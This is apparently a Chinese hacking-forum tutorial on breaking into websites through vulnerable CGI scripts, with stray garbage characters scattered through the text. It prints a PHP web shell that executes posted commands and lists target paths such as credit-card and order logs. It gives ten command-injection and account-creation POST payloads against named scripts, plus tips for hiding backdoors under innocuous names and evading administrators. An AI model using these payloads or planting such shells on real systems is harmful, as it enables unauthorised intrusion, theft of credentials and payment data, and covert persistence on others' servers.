CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
5 x7 e0 ?: Z1 z+ l* ]. K. D3 A很开心来到贵论坛
' B# V  @3 m) G8 p这里让我感觉 很有技术交流的感觉
9 i3 @1 h% Q& C+ P: T  D我会长长来玩的
2 S' v0 f; @; }2 X' j) x2 B前言:
以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
; Y1 Y7 O% z0 i) W% y7 ^0 v6 g6 F我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

$ P% |( y' U( U只是个人在实务上一些经验
写的不好 请多多见谅喔
( V9 y+ y  I2 |) H8 f在这里我简单分为几个部份一定要會的
讲解一下
& Q4 L, t. S$ s7 x: Z) Q让没有基础的人很容易上手

9 A& d/ }" M- G$ @' o以下内容跟帖回复才能看到
9 Q2 H7 m% k  g, Q+ @& L==============================

: r$ F* h8 R' Y( Z第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
3 A- K5 j+ M5 L
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
; o2 M+ }* F3 N4 q* t# |( q' g要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
6 r' [: v: R2 J$ {; E( ~所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
* P& Y1 K/ ]* j! B( T" V
6 j; s: p' ]7 Q8 }" Q" y第2部份: Unix 指令
- M0 p* y. ?+ U4 o% S: O# c8 x1 h以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
5 k% ^, [) P" J# w2 B0 ?& L1 z- zls -al :详细列出档案资料(当前目录)
ls /: 列出根目录
$ Q) u7 p: X1 _ls /etc: 列出/etc的资料夹及档案
% G( L1 q' F9 k$ D; F& X) f$ |0 pls ../ -al: 详细列出上一层的资料夹及档案
4 }, h( o( {! w! t) Fcat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
2 r6 V2 {# }2 i2 {$ B" iwho: 显示谁login 至系统
man: 显示指令用法  
" p) D( Y, N  G. z' vman ls: 显示ls这指令的用法  
mkdir 建立目录
rmdir 删除目录
mv 移动档案
rm 删除档案

' _3 r' r) z: l" ]5 m第3部份: Shell的使用
例如:
/ M; K% J+ P5 n* uhttp://site.com/refer.php
' o% C, G: x$ k这是我的後门, 原代码如下:
1 s8 y% w0 G& A: j* @' [  I<Form Action="#" Method="POST">
<Input type="text" name="cmd">
<Input type="Submit">
  @2 O0 A% N3 A) s</Form>
: Q$ a. D& L- u5 G; \<?php
$cmd = $_POST['cmd'];
% A7 Y, H8 f$ i$Output = shell_exec($cmd);
echo $Output;
?>
# p8 F; V% v$ O输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
# R; W* g- _% H3 h
6 n& G% X- i0 w- |, l3 n, P& T第4部份: 注意事项
6 V0 I1 z/ }4 K. W% w5 \- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
2 J9 p  w( M4 ]0 T6 p% x- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
0 S+ E' h; f; t" O: u, f- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
. X- r4 u/ Q: C$ B不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
6 N0 ?1 q1 e# @. U% R, T- m# g针对网站的渗透分析方法太多了
7 i. j: U$ C* H; V这篇文章的重点是cgi 脚本攻击
7 p+ }! K2 [6 s) X所以我用简单的叙述形容
  g4 Q' H' n: @* j9 c开始讲解脚本入侵过程:
# L% E( X0 M) E. }+ J2 K! Q$ T7 P在这里提供一些方法思路让大家学习一下
0 f( J- X5 h' b! P& `2 B
0 u# l8 }3 A: s& i8 b+ K9 E% D1.一开始对一个网站进行cgi漏洞扫描
" T$ Y- e0 O  ~4 G2 m6 x5 c' V我们需要的东西有
扫洞工具 如:triton..等等
E表
如
, r! \) @8 `& v; `/cgi-bin/add-passwd.cgi
+ W' @3 S- l% `* v/ B4 x/WebShop/templates/cc.txt
! X/ q7 \1 N  q4 U/Admin_files/order.log
/orders/mountain.cfg
& G) x' n( l: ?" `/cgi-sys/cart.pl
/scripts/cart.pl
2 t1 E' J7 a1 v. U) O1 e+ u/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day

( k" x# s5 G4 `) Z1 x3 h* V2 \2.怎样确认扫到的洞 是真的还假的?
  [; g# g3 ~9 ^3 `2 A5 C( U5 A) ]举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
# C, ]) O3 W2 ]* u# w+ b( r一般都是在IE里先看一下的,记住这个返回码哦
5 h0 y2 ^0 z. {, w. B  s3 AERROR:This script should be referenced with a METHOD of POST.
. }  t* G. \/ ?  b& H" O) D没有返回一定是假的
3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
( R$ Z5 r9 _( I" y: y# Z- I因为这些漏洞 使用的语法 称为post
+ G* \. z7 c. E8 Y6 h3 J我们要找post 的方法很多
可以是源代码分析 找出介质
4 l+ P& M, B/ r% H* M或是用抓包工具 抓他的语法...等等

' V" _9 d: l: T* U以下我提供10个 cgi 洞以及使用方法post
让大家可以针对网站去做扫描  
2 d# D$ P, h; i0 _3 I5 L7 U" ]/index.cgi
wei=ren&gen=command
/passmaster.cgi
  Z/ u' \! K' R- X% C7 j+ iAction=Add&Username=Username&Password=Password
/accountcreate.cgi
! f: c0 Y4 |, pusername=username&password=password&ref1=|echo;ls|
& `- P3 W2 c% o1 \( P% }3 k# s" N& U/form.cgi
# g; G2 Y3 O; d& l9 |name=xxxx&email=email&subject=xxxx&response=|echo;ls|
1 V& M8 T7 z9 N5 M( h3 e( p7 L/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
& V3 y7 E: M/ r4 {: m0 p/ h6 m) e! }  A- Uuser=username&pass=Password&confirm=Password
+ A* h6 C6 z5 S* a/ccbill-local.asp
post_values=username:password
8 N% Z/ d. Y/ c/count.cgi
8 D) N7 _+ v1 Spinfile=|echo;ls -la;exit|
4 T" D. I$ ]' V  G( ]3 G/recon.cgi
/ I* e4 `0 P& ]/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
: e  _6 l+ `2 x$ I: v8 |/verotelrum.pl
  L& K; _- L1 `vercode=username:password:dseegsow:add:amount<&30>
7 ?4 p) g1 \7 ^  j. |$ u0 {- N/af.cgi_browser_out=|echo;ls -la;exit;|

今天就讲到这  感谢大家支持